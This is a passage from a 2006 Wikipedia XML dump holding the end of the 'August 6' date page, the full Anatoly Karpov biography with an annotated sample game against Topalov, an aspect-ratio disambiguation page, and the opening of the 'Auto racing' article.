*[[1844]] - [[James Henry Greathead]], British engineer (d. [[1896]])
*1844 - [[Alfred, Duke of Saxe-Coburg and Gotha]] (d. [[1900]])
*[[1868]] - [[Paul Claudel]], French poet (d. [[1955]])
*[[1874]] - [[Charles Fort]], American writer and researcher (d. [[1932]])
*[[1877]] - [[Wallace H. White, Jr.]], U.S. Senator from Maine (d. [[1952]])
*[[1880]] - [[Hans Moser (actor)]], Austrian actor (d. [[1964]])
*[[1881]] - [[Leo Carrillo]], American actor (d. [[1961]])
*1881 - [[Alexander Fleming]], Scottish scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1955]])
*1881 - [[Louella Parsons]], American gossip columnist (d. [[1972]])
*[[1889]] - [[John Middleton Murry]], English poet (d. [[1957]])
*[[1892]] - [[Hoot Gibson]], American actor (d. [[1962]])
*[[1893]] - [[Wright Patman]], American politician (d. [[1976]])
*[[1900]] - [[Cecil H. Green]], American geophysicist and businessman (d.[[2003]])
*[[1902]] - [[Dutch Schultz]], American bootlegger and gangster (d. [[1935]])
*[[1911]] - [[Lucille Ball]], American actress and comedian (d. [[1989]])
*[[1916]] - [[Richard Hofstadter]], American historian (d. [[1970]])
*[[1917]] - [[Robert Mitchum]], American actor (d. [[1997]])
*[[1922]] - Sir [[Freddie Laker]], English entrepreneur
*[[1923]] - [[Jess Collins]], American artist (d. [[2004]])
*[[1928]] - [[Andy Warhol]], American artist (d. [[1987]])
*[[1932]] - [[Howard Hodgkin]], British painter and print-maker
*[[1934]] - [[Piers Anthony]], English writer
*[[1937]] - [[Barbara Windsor]], English actress
*[[1938]] - [[Paul Bartel]], American actor, writer, and director (d. [[2000]])
*[[1941]] - [[Lyle Berman]], American poker player
*[[1943]] - [[Jon Postel]], Computer Scientist
*[[1946]] - [[Roh Moo-hyun]], [[President of South Korea]]
*1946 - [[Masaaki Sakai]], Japanese comedian
*[[1949]] - [[Alan Campbell (pastor)|Alan Campbell]], Northern Irish clergyman
*1949 - [[Clarence Richard Silva]], Catholic Bishop of Honolulu
*[[1951]] - [[Daryl Somers]], Australian television personality
*[[1957]] - [[Jim McGreevey]], Governor of New Jersey
*[[1962]] - [[Michelle Yeoh]], Hong Kong actress
*[[1963]] - [[Kevin Mitnick]], computer hacker
*[[1965]] - [[Yuki Kajiura]], Japanese composer
*[[1969]] - [[Elliott Smith]], American musician (d. [[2003]])
*[[1970]] - [[M. Night Shyamalan]], Indian-born film director, writer, producer, and actor
*[[1971]] - [[Merrin Dungey]], American actress
*[[1972]] - [[Geri Halliwell]], British singer
*[[1973]] - [[Asia Carrera]], American actress
*[[1976]] - [[Melissa George]], Australian actress
*[[1978]] - [[Billy Klippert]], Canadian singer
*[[1979]] -  Steven McCrory, IP Solutions Specialist
*[[1982]] - [[Adrianne Curry]], American reality television
*[[1983]] - [[Robin van Persie]], Dutch football player
*[[1990]] - [[JonBenét Ramsey]], American beauty queen and murder victim (d. [[1996]])
&lt;!--Do not add yourself, or anyone else that does not already have a Wikipedia article, to this list.--&gt;

==Deaths==
*[[258]] - Saint [[Pope Sixtus II]]
*[[523]] - Saint [[Pope Hormisdas]]
*[[1162]] - [[Ramon Berenguer IV, Count of Barcelona]]
*[[1195]] - [[Henry the Lion]], Duke of Saxony and Bavaria (b. [[1129]])
*[[1221]] - Saint [[Dominic de Guzman|Dominic]], Spanish founder of the Dominicans (b. [[1170]])
*[[1272]] - King [[Stephen V of Hungary]]
*[[1414]] - King [[Ladislas of Naples]] (b. [[1377]])
*[[1458]] - [[Pope Callixtus III]] (b. [[1378]])
*[[1623]] - [[Anne Hathaway (Shakespeare's wife)]] (b. [[1556]])
*[[1628]] - [[Johannes Junius]], Mayor of Bamberg (b. [[1573]])
*[[1637]] - [[Ben Jonson]], English writer (b. [[1572]])
*[[1645]] - [[Lionel Cranfield, 1st Earl of Middlesex]], English merchant (b. [[1575]])
*[[1660]] - [[Diego Velázquez]], Spanish painter (b. [[1599]])
*[[1679]] - [[John Snell]], English royalist (b. [[1629]])
*[[1695]] - [[François de Harlay de Champvallon]], French Catholic archbishop (b. [[1625]])
*[[1753]] - [[Georg Wilhelm Richmann]], Russian physicist (struck by lightning) (b. [[1711]])
*[[1759]] - [[Eugene Aram]], English philologist (b. [[1704]])
*[[1794]] - [[Henry Bathurst, 2nd Earl Bathurst]], British politician (b. [[1714]])
*[[1850]] - [[Edward Walsh]], Irish poet (b. [[1805]])
*[[1866]] - [[John Mason Neale]], English divine, scholar and hymnwriter (b. [[1818]])
*[[1904]] - [[Eduard Hanslick]], Austrian music critic (b. [[1825]])
*[[1914]] - [[Ellen Louise Wilson]], [[First Lady of the United States]], first wife of President [[Woodrow Wilson]] (b. [[1860]])
*[[1931]] - [[Bix Beiderbecke]], American musician (b. [[1903]])
*[[1942]] - [[Jonathan Campbell]], American film pioneer (b. [[1875]])
*[[1945]] - [[Wu, Prince of Korea|Prince Wu of Korea]] (b. [[1912]])
*[[1946]] - [[Tony Lazzeri]], baseball player (b. [[1903]])
*[[1959]] - [[Preston Sturges]], American playwright, screenwriter, and director (b. [[1898]])
*[[1964]] - Sir [[Cedric Hardwicke]], English actor (b. [[1893]])
*[[1966]] - [[Cordwainer Smith]], American writer (b. [[1913]])
*[[1969]] - [[Theodor Adorno]], German sociologist and philosopher (b. [[1903]])
*[[1973]] - [[Fulgencio Batista]], Cuban dictator (b. [[1901]])
*[[1974]] - [[Gene Ammons]], American jazz saxophonist (b. [[1925]])
*[[1976]] - [[Gregor Piatigorsky]], Russian cellist (b. [[1903]])
*[[1978]] - [[Pope Paul VI]] (b. [[1897]])
*[[1979]] - [[Feodor Felix Konrad Lynen]], German biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1911]])
*[[1983]] - [[Klaus Nomi]], German singer (b. [[1944]])
*[[1985]] - [[Forbes Burnham]], [[President of Guyana]] (b. [[1923]])
*[[1987]] - [[Quinn Martin]], American television producer (b. [[1922]])
*[[1991]] - [[Harry Reasoner]], American reporter (b. [[1923]])
*[[1993]] - [[Tex Hughson]], baseball player (b. [[1916]])
*[[1994]] - [[Domenico Modugno]], Italian singer and songwriter (b. [[1928]])
*[[1998]] - [[Andre Weil]], French mathematician (b. [[1906]])
*[[2001]] - [[Jorge Amado]] de Faria, Brazilian writer (b. [[1912]])
*[[2002]] - [[Edsger Dijkstra]], Dutch computer scientist (b. [[1930]]) 
*[[2004]] - [[Rick James]], American musician (b. [[1948]])
*[[2005]] - [[Keter Betts]], American jazz bassist (b. [[1928]])
*2005 - [[Robin Cook]], British politician (b. [[1946]])
*2005 - [[Ibrahim Ferrer]], Cuban musician ([[Buena Vista Social Club]]) (b. [[1927]])

==Holidays and observances==
*[[Christianity]] - Feast of the [[Transfiguration of Christ]]
*[[Bolivia]] - Independence Day
*[[Jamaica]] - Independence Day
*[[United Arab Emirates]] - H.H. Sheikh [[Zayed Bin Sultan Al Nahyan]]'s Accession Day
*[[Japan]] - [[Toro Nagashi]] (Hiroshima) - Floating lantern ceremony to honor those killed by the U.S. atomic bomb in Hiroshima.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/6 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050806.html ''The New York Times'': On This Day]

----

[[August 5]] - [[August 7]] - [[July 6]] - [[September 6]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:6 Augustus]]
[[ar:6 أغسطس]]
[[an:6 d'agosto]]
[[ast:6 d'agostu]]
[[bg:6 август]]
[[be:6 жніўня]]
[[bs:6. avgust]]
[[ca:6 d'agost]]
[[ceb:Agosto 6]]
[[cv:Çурла, 6]]
[[co:6 d'aostu]]
[[cs:6. srpen]]
[[cy:6 Awst]]
[[da:6. august]]
[[de:6. August]]
[[et:6. august]]
[[el:6 Αυγούστου]]
[[es:6 de agosto]]
[[eo:6-a de aŭgusto]]
[[eu:Abuztuaren 6]]
[[fo:6. august]]
[[fr:6 août]]
[[fy:6 augustus]]
[[ga:6 Lúnasa]]
[[gl:6 de agosto]]
[[ko:8월 6일]]
[[hr:6. kolovoza]]
[[io:6 di agosto]]
[[ilo:Agosto 6]]
[[id:6 Agustus]]
[[ia:6 de augusto]]
[[ie:6 august]]
[[is:6. ágúst]]
[[it:6 agosto]]
[[he:6 באוגוסט]]
[[jv:6 Agustus]]
[[ka:6 აგვისტო]]
[[csb:6 zélnika]]
[[ku:6'ê gelawêjê]]
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[[mk:6 август]]
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[[pam:Agostu 6]]</text>
    </revision>
  </page>
  <page>
    <title>Anatoly Karpov</title>
    <id>1020</id>
    <revision>
      <id>41905623</id>
      <timestamp>2006-03-02T14:46:12Z</timestamp>
      <contributor>
        <username>Ryan Delaney</username>
        <id>97276</id>
      </contributor>
      <comment>/* Style */ rm original research</comment>
      <text xml:space="preserve">[[Image:Anatoly Karpov.jpg|thumb|right|Anatoly Karpov]]
'''Anatoli Yevgenyevich Karpov''' (Анато́лий Евге́ньевич Ка́рпов) (born [[May 23]], [[1951]]) is a [[Russia]]n [[chess]] [[International Grandmaster|grandmaster]] and former [[World Chess Championship|World Champion]]. He is the most successful tournament player of all time, and as of July 2005 he has 161 first-place finishes to his credit.  From 1978 to 1998 he played in every [[FIDE]] World Championship match. His overall professional record is 1,118 wins, 287 losses, and 1,480 draws in 3,163 games. His peak [[ELO rating system|ELO rating]] is 2780.

==Grandmaster==

Karpov was born on May 23, 1951 in [[Zlatoust]] in the former [[Soviet Union]] and learned to play chess at the age of 4. At age 12 he was accepted into [[Mikhail Botvinnik]]'s prestigious chess school.  Ironically, Botvinnik had this to say about a young Karpov: &quot;The boy doesn't have a clue about chess, and there's no future at all for him in this profession.&quot;{{fact}}  Karpov proved him wrong by becoming the youngest [[Soviet Union|Soviet]] National Master in history at 15, and won in his first international chess tournament several months later. In 1967 he took 5th in the [[Soviet Junior Chess Championship]] and won the [[European Junior Chess Championship]] later that same year. In 1969 he became the first Soviet player since [[Boris Spassky]] (1955) to win the [[World Junior Chess Championship]] with a score of 10 out of 11. Soon afterwards he tied for 4th place at an international tournament in [[Caracas, Venezuela]] and became the world's youngest [[International Grandmaster|Grandmaster]].

==Candidate==

The 1970s showed a major improvement in his game. His [[ELO rating system|ELO rating]] shot up from 2540 in 1971 to 2660 in 1973, when he came in 2nd in the [[USSR Chess Championship]] and placed first in the [[Saint Petersburg|Leningrad]] [[Interzonal]] Tournament. The latter qualified him for the 1974 Candidates cycle, which determined who was allowed to challenge the reigning World Champion, [[Bobby Fischer]].

Karpov beat [[Lev Polugaevsky]] by +3=5 in the first Candidates match to face former World Champion [[Boris Spassky]] in the next round. Karpov was on record saying that he believed Spassky would easily beat him and win the Candidates cycle to face Fischer, and that he (Karpov) would win the following Candidates cycle in 1977.

Most expected the Spassky-Karpov match to be a one-sided rout by the ex-champ Spassky. Although Spassky won the first game as black in good style, tenacious and aggressive play from Karpov secured him a win +4-1=6. Karpov was certainly not hurt by the fact that Spassky's chief opening analyst, 1955 [[USSR Chess Championship|Soviet Champion]] [[Efim Geller]], defected to Karpov's side several months before the match.

The Candidates final was against fellow Russian [[Viktor Korchnoi]], a notable fighting player. Intense games were fought, including one &quot;opening laboratory&quot; win against the [[Sicilian Defense|Sicilian Dragon]].  Karpov went 3&amp;ndash;0 up but tired towards the end and allowed Korchnoi two wins, but Karpov prevailed +3-2=19.  Thus he won the right to challenge Fischer for the World Championship.

Though the world championship match between the young Soviet prodigy and the incomparably dominant American Fischer was highly anticipated, the match never came about. Fischer drew up a list of ten demands, chief among them the provisions that draws wouldn't count, the first to ten victories wins, and if the score was tied 9&amp;ndash;9 the champion would retain the crown. This means that candidate needed two wins more than the reigning champion because narrowest possible win for him is 10&amp;ndash;8. The [[Fédération Internationale des Échecs|International Chess Federation]] (FIDE) flatly refused at first, but eventually conceded the first two. However, Fischer demanded all or nothing, and when FIDE refused to give into the third demand, Fischer resigned his crown, to the huge disappointment of the chess world. Karpov later attempted to set up another match with Fischer, but all the negotiations fell through. Fischer never did play Karpov (or [[Garry Kasparov|Kasparov]], for that matter) and scorned them as inferior players. This thrust the young Karpov into the role of World Champion without defeating the reigning champion, which lead some chess pundits to accuse Karpov of being a &quot;paper world champion&quot;&amp;mdash;that he had earned the title in a ceremony, but not over a chessboard.

When Kasparov was in a bitter struggle for the world championship with Karpov, he often reminded others that Karpov won the title by default.  But while preparing a monumental book series ''Kasparov: On My Great Predecessors'', Kasparov argued that Karpov would have had the better chances, because he had beaten Spassky convincingly and was a new breed of tough professional, and indeed had higher quality games, while Fischer had been inactive for three years.  Critics argue that Kasparov was trying to boost his own prestige by boosting that of the man he defeated.  Spassky thought that Fischer would have won in 1975 but Karpov would have qualified again and beaten Fischer in 1978{{fact}}.  [[Zsuzsa Polgar]] thinks Fischer would have won very narrowly in 1975 due to his greater experience.[http://www.chesscafe.com/text/polgar26.pdf]

==World champion==

Shamed that he had become the twelfth world champion in this manner, and desperately trying to prove he was worthy of the crown, Karpov participated in nearly every major tournament for the next ten years. He created the most phenomenal streak of tournament wins against the strongest players in the world the chess world had ever seen. This tournament success even eclipsed the pre-war tournament record of [[Alexander Alekhine]]. He held the record for most consecutive tournament victories (9) until it was shattered by [[Garry Kasparov]] (14).

In 1978, Karpov's first title defence was against Viktor Korchnoi, the opponent he defeated in the previous Candidates tournament. The situation was vastly different from the previous match, because in the intervening years Korchnoi had defected from the Soviet Union. The match was played in [[Baguio]] in the [[Philippines]], and a vast array of psychological tricks were used during the match, from Karpov's Dr. Zukhar who attempted to hypnotize Korchnoi during the game, to Korchnoi's mirror glasses to ward off the hypnotic stare, Korchnoi's offering to play under the [[Jolly Roger]] flag when he was denied the right to play under [[Switzerland]]'s, to Karpov's yogurt supposedly being used to send him secret messages, to Korchnoi inviting two local cult members (on trial for [[attempted murder]]) into the hall as members of his team.

The off-board antics are better remembered than the actual chess match. Karpov took an early lead, but Korchnoi staged an amazing comeback very late in the match, and came very close to winning. Karpov narrowly won the last game to take the match 6&amp;ndash;5, with 21 draws.

Three years later Korchnoi re-emerged as the Candidates winner against [[Germany|German]] finalist Dr. [[Robert Huebner]] to challenge Karpov in [[Merano]], [[Italy]]. This time the psychological trick was the arrest of Korchnoi's son for evading [[conscription]]. Again the politics off the board overshadowed the games, but this time Karpov easily won (11&amp;ndash;7, +6 -2 =10) in what is remembered to be the &quot;Massacre of Merano&quot;.

Karpov's tournament career also reached a peak at the exceptional [[Montreal]] &quot;Super-Grandmaster&quot; tournament in 1979, where he ended joint first with [[Mikhail Tal]] ahead of a field of superb grandmasters like [[Jan Timman]], [[Ljubomir Ljubojevic]], [[Boris Spassky]], and [[Lubomir Kavalek]]. Meanwhile, he had also won the prestigious [[Linares chess tournament|Linares tournament]] in 1981 (and again in 1994), the [[Tilburg]] tournament in 1977, 1979, 1980, 1982, and 1983, and the [[USSR Chess Championship|Soviet Championship]] in 1976 and 1983 (and again in 1988).

To illustrate Karpov's dominance over his peers as champion, his score was +11 -2 =20 v Spassky, +5 =12 v [[Robert Hübner]], +6 -1 = 16 v [[Ulf Andersson]], +3 -1 =10 v [[Vasily Smyslov]], +1 =16 v [[Mikhail Tal]], +10 -2 =13 v Ljubojevic.

&lt;!-- Unsourced image removed: [[Image:Karkas1.jpg|thumbnail|The 1984 [[World Chess Championship]] was between [[Garry Kasparov]] (left) and Anatoly Karpov (right).]] --&gt;

Karpov had cemented his position as the world's best player and world champion when [[Garry Kasparov]] arrived on the scene. In their first World Championship match in 1984, Karpov quickly built a 4&amp;ndash;0 lead, and needed only two more wins to keep his title. Instead, the next 17 games were drawn, and it took Karpov until Game 27 to finally win another game. In Game 31, Karpov had a winning position but failed to take advantage and settled for a draw. He lost the next game, but drew the next 14. In particular, Karpov held a solidly winning position in Game 41, but again blundered terribly and had to settle for a draw. After Kasparov suddenly won Game 47 and 48, Karpov suffered a physical collapse, having lost 10 kg (22 lb) over the course of the match. The FIDE President controversially terminated the match, which had lasted an unprecedented four months with five wins for Karpov, three for Kasparov, and a staggering forty draws. A rematch was set for the following year. In a hard fight, Karpov lost his title 11 to 13 in the 1985 match, ending his ten-year reign as champion.

==Rival==

Karpov remained a formidable opponent for most of the [[1980s|eighties]]. He fought Kasparov in three more World Championship matches in 1986 (held in [[London]] and [[Saint Petersburg|Leningrad]]), 1987 (held in [[Seville]]), and 1990 (held in [[Lyon]] and [[New York City]]). All three matches were extremely close (the scores were 12.5 to 11.5, 12 to 12, and 12.5 to 11.5). In all three matches Karpov had winning chances up to the very last games. In particular, the 1987 Seville match featured an astonishing blunder by Kasparov in the 23rd game, and should have led to Karpov's winning the title. Instead, in the final game, needing only a draw to win the title, Karpov blundered on his 33rd and 64th moves and lost, ending the match in a draw and allowing Kasparov to keep the title. 

The overall game score between them stayed virtually even until the late 1990s, when the score shifted decisively towards Kasparov. Currently, in their 235 formal games played, Karpov has 23 wins, 33 losses, and an incredible 179 draws. In their five world championship matches, Karpov has 19 wins, 21 losses, and 104 draws in 144 games.

Although twelve years older than Kasparov, Karpov still has the stamina and endurance to be a match for Kasparov. In 2002, he defeated Kasparov in a rapid time control match 2.5-1.5. Karpov is on record saying that had he had the opportunity to fight Fischer for the crown like Kasparov had the opportunity to fight him, he (Karpov) could have been a much better player as a result. Though the struggle for the world championship made them enemies, Karpov and Kasparov maintain a tremendous level of respect for each other{{fact}}. The two of them and their titanic struggles make up a chess rivalry that even surpassed that of [[Capablanca]] and [[Alekhine]].

==FIDE Champion again==

It came as a surprise, then, that Karpov lost a Candidates Match against [[Nigel Short]] in 1992. But in 1993, Karpov reacquired the FIDE World Champion title when Kasparov and Short split from FIDE. Karpov crushed [[Jan Timman]]&amp;mdash;the loser of the Candidates final against Short. Once again he had become World Champion, and once again he did so controversially. He defended his title against [[Gata Kamsky]] (+6 -3 =9) in 1996. However, in 1998, FIDE largely scrapped the old system of Candidate Matches, instead having a large knock-out event in which a large number of players contested short matches against each other over just a few weeks. In the first of these events, champion Karpov was seeded straight into the final, defeating [[Viswanathan Anand]] (+4 -2 =2). But subsequently the champion had to qualify like other players. Karpov resigned his title in anger at the new rules in 1999, so the winner of the 1999 tournament ([[Alexander Khalifman]]) became FIDE World Champion.

However, the FIDE champions were not recognized as such by the general public. The fact that the FIDE champions were regularly crushed by Kasparov in tournaments testified to his dominance. The FIDE matches received little public attention, while Kasparov's matches with the PCA and subsequently Braingames were widely reported in the media. For more details about these series of champions, see the [[World Chess Championship]] article.

==Towards Retirement?==

In 1991 Karpov temporarily dropped to third in the FIDE ranking list, the first time since 1971. Though he quickly recovered, many said that Karpov had lost his edge, and that his playing level had declined. However, Karpov bounced back against the world's very strongest players (in the order of their finish, [[Garry Kasparov|Kasparov]], [[Alexei Shirov|Shirov]], [[Evgeny Bareev|Bareev]], [[Vladimir Kramnik|Kramnik]], [[Joel Lautier|Lautier]], [[Viswanathan Anand|Anand]], [[Gata Kamsky|Kamsky]], [[Veselin Topalov|Topalov]], [[Vassily Ivanchuk|Ivanchuk]], [[Boris Gelfand|Gelfand]], [[Miguel Illescas|Illescas]], [[Judit Polgar]], and [[Alexander Beliavsky|Beliavsky]]) in the landmark &quot;super-strong&quot; tournament [[Linares chess tournament|Linares]] 1994 (average [[ELO rating system|ELO rating]] 2685, the highest in history, meaning it was the first Category XVIII tournament ever held).

Impressed by the strength of the tournament, Kasparov had said several days before the tournament that the winner could rightfully be called the world champion of tournaments. Perhaps spurred on by this comment, Karpov played the chess of his life and dramatically won the tournament. He was undefeated and earned 11 points out of 13 possible (the best world-class tournament winning percentage in 64 years), dominating second-place Kasparov and Shirov by a huge 2.5 points. Many of his wins were spectacular (in particular, his win over Topalov, detailed below, is considered possibly his finest throughout his career).  This performance against the best players in the world put his [[ELO rating system|ELO rating]] tournament performance at 2985, the highest performance rating of any chess player in any tournament in all of chess history. 

Even recently, few players have surpassed Karpov's achievements. Since he dropped out of the top three players in the world on the FIDE rankings, only [[Garry Kasparov]], [[Viswanathan Anand]], [[Vladimir Kramnik]], and (as of January 2005) [[Veselin Topalov]] have been in the top three slots. In other words, Karpov is the last person to have been in the top three in the world before Kasparov, Anand, Kramnik, and Topalov. In addition, Karpov is the only player among these to ever have ranked number one in the world ahead of Kasparov.

However, Karpov's outstanding classical tournament play has been seriously limited since 1995, since he prefers to be more involved in politics of his home country of Russia. He had been a member of the [[Supreme Soviet]] Commission for Foreign Affairs and the President of the Soviet Peace Fund before the Soviet Union broke up. In addition, he had been involved in several disputes with FIDE and became increasingly disillusioned with chess. In the October 2005 FIDE rating list, he is 33rd in the world with an ELO rating of 2672.

However, more recently, because of his traditional strength at managing his thinking time, Karpov has instead begun revamping his style to specialize in rapid chess.




== Sample game ==
{{Chess diagram|=
|tright
|
|=
 8 |rd|qd|rd|  |  |  |kd|  |=
 7 |  |  |  |ql|bd|pd|  |  |=
 6 |pd|  |nd|  |pd|  |pd|  |=
 5 |  |pd|pd|  |  |  |  |  |=
 4 |  |  |pl|  |  |pl|  |  |=
 3 |  |  |nl|  |  |  |pl|  |=
 2 |pl|pl|  |  |  |pl|bl|  |=
 1 |rl|  |  |  |rl|  |kl|  |=
    a  b  c  d  e  f  g  h

|In this position, Karpov (white), already with a slight advantage, initiates the first of three rook offers}}

This game, Anatoly Karpov v [[Veselin Topalov]], [[Linares]] 1994, given in [[algebraic notation]], played during one of his best tournaments, features Karpov offering a rook for capture three times, and eventually sacrificing two rooks for a scintillating victory.

1. d4 Nf6 2. c4 c5 3. Nf3 cxd4 4. Nxd4 e6 5. g3 Nc6 6. Bg2 Bc5 7. Nb3 Be7 8. Nc3 O-O 9. O-O d6 10. Bf4 Nh5 11. e3 Nxf4 12. exf4 Bd7 13. Qd2 Qb8 14. Rfe1! g6 15. h4 a6 16. h5 b5 17. hxg6 hxg6 18. Nc5 dxc5 19. Qxd7 Rc8

(see diagram)

'''20. Rxe6!!''' Ra7 [20...fxe6 21.Bxc6 Ra7 22.Qxe6+ Kg7 23.Be4 and White is clearly better] '''21. Rxg6+!''' fxg6 22. Qe6+ Kg7 23. Bxc6 Rd8 24. cxb5 Bf6 25. Ne4 Bd4 26. bxa6 Qb6 27. Rd1 Qxa6 '''28. Rxd4!!''' Rxd4 [28...cxd4 29.Qf6+ Kh6 30.Qh4+ Kg7 31.Qxd8 Qxc6 32.Qxd4+ and White is better] 29. Qf6+ Kg8 30. Qxg6+ Kf8 31. Qe8+ Kg7 32. Qe5+ Kg8 33. Nf6+ Kf7 34. Be8+ Kf8 35. Qxc5+ Qd6 36. Qxa7 Qxf6 37. Bh5 Rd2 38. b3 Rb2 39. Kg2 1-0

== Further reading ==
* ''World chess champions'' by [[Edward G. Winter]], editor. 1981 ISBN 0080249041
* ''The World's Great Chess Games'' by [[Reuben Fine]], Dover; 1983. ISBN 0486245128
* ''Anatoly Karpov's Best Games'' by Anatoly Karpov, Batsford; 2003. ISBN 0713478438
* ''Karpov on Karpov: A Memoirs of a Chess World Champion'' by Anatoly Karpov, [[Simon &amp; Schuster]]; 1992. ISBN 0689120605
* ''Curse of Kirsan: Adventures in the Chess Underworld'' by Sarah Hurst, Russell Enterprises, 2002.

{{start box}}
{{succession box |
  before= [[Bobby Fischer]] |
  title= [[World chess champion|World Chess Champion]] |
  years= 1975&amp;ndash;1985 |
  after= [[Garry Kasparov]]
}}
{{succession box |
  before= [[Garry Kasparov]] |
  title= [[World chess champion|FIDE World Chess Champion]] |
  years= 1993&amp;ndash;1999 |
  after= [[Alexander Khalifman]]
}}
{{end box}}

== External links ==
{{wikiquote}}
* [http://www.karpov.on.ru/ Karpov's official homepage] in Russian.
* [http://www.chessgames.com/perl/chesscollection?cid=1001168 Karpov's Best Games at www.chessgames.com]
* [http://www.chessmaniac.com/Games/MyChessViewer/karpov.htm View 3079 Anatoly Karpov Games at www.chessmaniac.com]
* [http://www.chessgames.com/perl/chessplayer?pid=20719 Karpov's profile at www.chessgames.com]
* [http://www.bobby-fischer.net/Karpov_on_fischer_11.htm Karpov on why Fischer wouldn't play him in the 1975 match] Video Clip
* [http://www.wtharvey.com/karp.html 60 Crucial Positions from His Games]

His &quot;best&quot; games:

* [http://www.chessgames.com/perl/chessgame?gid=1067662 Anatoly Karpov vs Leonid Stein, Leningrad 1971]
* [http://www.chessgames.com/perl/chessgame?gid=1068020 Stefano Tatai vs Anatoly Karpov, Las Palmas 1977]
* [http://www.chessgames.com/perl/chessgame?gid=1069169 Anatoly Karpov vs Veselin Topalov, Linares 1994]

[[Category:1951 births|Karpov, Anatoly]]
[[Category:Living people|Karpov, Anatoly]]
[[Category:Chess grandmasters|Karpov, Anatoly]]
[[Category:World Chess Champions|Karpov, Anatoly]]
[[Category:Russian chess players|Karpov, Anatoly]]

[[cs:Anatolij Karpov]]
[[de:Anatoli Jewgenjewitsch Karpow]]
[[et:Anatoli Karpov]]
[[el:Ανατόλι Κάρποβ]]
[[es:Anatoli Karpov]]
[[fa:آناتولی کارپف]]
[[fr:Anatoli Karpov]]
[[it:Anatoly Karpov]]
[[he:אנטולי קרפוב]]
[[nl:Anatoli Karpov]]
[[ja:アナトリー・カルポフ]]
[[no:Anatolij Karpov]]
[[nn:Anatolij Karpov]]
[[pl:Anatolij Karpow]]
[[pt:Anatoly Karpov]]
[[ru:Карпов, Анатолий Евгеньевич]]
[[fi:Anatoli Karpov]]
[[sv:Anatolij Karpov]]
[[tr:Anatoli Karpov]]</text>
    </revision>
  </page>
  <page>
    <title>Aspect ratio (disambiguation)</title>
    <id>1021</id>
    <revision>
      <id>38283276</id>
      <timestamp>2006-02-05T08:29:38Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>moved [[Aspect ratio]] to [[Aspect ratio (disambiguation)]]: Redirecting main entry to [[Aspect ratio (image)]]</comment>
      <text xml:space="preserve">The '''aspect ratio''' of a two-dimensional shape is the ratio of its longest dimension to its shortest dimension.

{{Wiktionarypar|aspect ratio}}

The term is most commonly used with reference to:
*images (see [[aspect ratio (image)]])
*[[paper]] (see [[paper size]])
*the wing-plans of [[aircraft]] or [[bird]]s (see [[aspect ratio (wing)]]).

''See also'': [[Golden ratio]], [[Ratio]]

[[ja:&amp;#12450;&amp;#12473;&amp;#12506;&amp;#12463;&amp;#12488;&amp;#27604;]]
[[zh:&amp;#32305;&amp;#27243;&amp;#27604;]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Auto racing</title>
    <id>1022</id>
    <revision>
      <id>42102467</id>
      <timestamp>2006-03-03T21:15:16Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.168.252.90|24.168.252.90]] ([[User talk:24.168.252.90|talk]]) to last version by BlankVerse</comment>
      <text xml:space="preserve">'''Auto racing''' (also known as '''automobile racing''', '''autosport''' or '''motorsport''') is a [[sport]] involving [[racing]] [[automobile]]s.  '''Motor racing''' or '''motorsport''' may also mean [[motorcycle racing]], and can include [[motorboat racing]] and [[air racing]]. It is one of the world's most popular [[spectator sport]]s and perhaps the most thoroughly [[commercialization|commercialized]].

== History ==
=== The Start===
Auto racing began almost immediately after the construction of the first successful [[gasoline|petrol]]-fuelled autos. In [[1894]], the first contest was organized by Paris magazine ''[[Le Petit Journal]]'', a reliability test  to determine best performance.

A year later the first real race was staged, from [[Paris]], [[France]] to [[Bordeaux]], France. First over the line was [[Émile Levassor]] but he was disqualified because his car was not a required four-seater. 

An international competition began with the [[Gordon Bennett Cup in auto racing]].

The first auto race in the [[United States]], over a 54.36 mile (87.48 km) course, took place in [[Chicago, Illinois|Chicago]], [[Illinois]] on [[November 2]], [[1895]], [[Frank Duryea]] winning in 10 h and 23 min, beating three petrol-fuelled cars and two electric. The first trophy awarded was the [[Vanderbilt Cup]].

=== City to city racing ===
[[Image:Mors.jpg||thumb|340px|Fernand Gabriel driving a Mors in Paris-Madrid 1903]]
With auto construction and racing dominated by [[France]], the French automobile club  ACF staged a number of major international races, usually from or to Paris, connecting with another major city in Europe or France.

These very successful races ended in [[1903]] when Marcel [[Renault]] was involved in a fatal accident near [[Angouleme]] in the Paris-Madrid race. Eight fatalities caused the French government to stop the race in [[Bordeaux]] and ban open-road racing.
&lt;!-- (much more on this) --&gt;

===1910-1950===
The [[1930s]] saw the radical differentiation of racing vehicles from high-priced road cars, with [[Delage]], [[Auto Union]], [[Mercedes-Benz]], [[Delahaye]] and [[Bugatti]] constructing streamlined vehicles with engines producing up to 450 kW(612HP) with the aid of multiple superchargers. From [[1928]]-[[1930]] and again in [[1934]]-[[1936]], the maximum [[weight]] permitted was 750 kg(1654Lbs), a rule diametrically opposed to current racing regulations. Extensive use of aluminium alloys was required to achieve light weight, and in the case of the Mercedes, the paint was removed to satisfy the weight limitation, producing the famous [[Silver Arrows]].

:''See: [[Grand Prix motor racing]]''

== Categories ==
There are many categories of auto racing.

=== Single-seater racing ===
:''Main article: [[Open wheel racing]]''
[[Image:formula_one_car.jpg|thumb|300px|right|A modern Formula One car]]
Single-seater ([[open-wheel]]) racing is perhaps the most well-known form of motorsport, with cars designed specifically for high-speed racing. The wheels are not covered, and the cars often have aerofoil wings front and rear to produce downforce and enhance adhesion to the track.

Single-seater races are held on specially designed closed circuits or  street circuits closed for the event. Many single-seater races in North America are held on &quot;oval&quot; circuits and the [[Indy Racing League]] races mostly on ovals.

